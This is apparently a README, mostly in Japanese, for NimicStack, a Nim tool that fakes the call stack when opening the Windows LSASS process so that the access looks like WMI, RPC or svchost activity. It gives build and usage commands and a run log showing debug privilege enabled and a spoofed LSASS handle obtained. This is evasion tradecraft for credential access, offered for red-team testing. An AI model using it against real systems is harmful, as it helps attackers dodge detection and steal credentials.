
NimicStack is the pure Nim implementation of Call Stack Spoofing technique to mimic legitimate programs
NimicStackは、正当なプログラムを模倣するためのコールスタックスプーフィング技術の純粋なNim実装です。プロジェクト全体は、WithSecure Labsが共有したPoCに基づいています。
以下のコマンドでソースコードを直接コンパイルできます:
nim c -d=mingw --app=console --cpu=amd64 -o:NimicStack.exe .\Main.nim
"cannot open file" エラーが発生した場合は、必要な依存関係もインストールしてください:
nimble install ptr_math winim
参照プロジェクトと同様に、NimicStackはLSASSプロセスを開く際に、WMI、RPC、Svchostの3つのサンプルコールスタックを模倣できます。
.\NimicStack.exe <--wmi, --rpc, --svchost>
模倣されたWMIコールスタックの出力例:
PS C:\Users\test\Desktop\NimicStack> .\NimicStack.exe --wmi
███╗ ██╗██╗███╗ ███╗██╗ ██████╗███████╗████████╗ █████╗ ██████╗██╗ ██╗
████╗ ██║██║████╗ ████║██║██╔════╝██╔════╝╚══██╔══╝██╔══██╗██╔════╝██║ ██╔╝
██╔██╗ ██║██║██╔████╔██║██║██║ ███████╗ ██║ ███████║██║ █████╔╝
██║╚██╗██║██║██║╚██╔╝██║██║██║ ╚════██║ ██║ ██╔══██║██║ ██╔═██╗
██║ ╚████║██║██║ ╚═╝ ██║██║╚██████╗███████║ ██║ ██║ ██║╚██████╗██║ ██╗
╚═╝ ╚═══╝╚═╝╚═╝ ╚═╝╚═╝ ╚═════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝
@R0h1rr1m
[+] wmi frame is selected!
[+] Required libraries were imported for return address calculation!
[+] SeDebugPrivilege is enabled!
[+] Fake Call Stack was created!
[+] Trying to find LSASS pid...
[+] LSASS pid found!: 756
[+] Registers were set for NtOpenProcess call!
[+] VEH callback was set for the suspended thread!
[+] Thread is resuming...
[+] VEH callback was called!
[+] Redirecting thread to RtlExitUserThread...
[+] Spoof is successful! Handle is 356
[+] You can check the spoofed call stack from Sysmon!
この呼び出しのSysmon出力:
認可されたセキュリティテストのみを対象としています。明示的な許可なくシステムに対してこのツールを悪用することは違法です。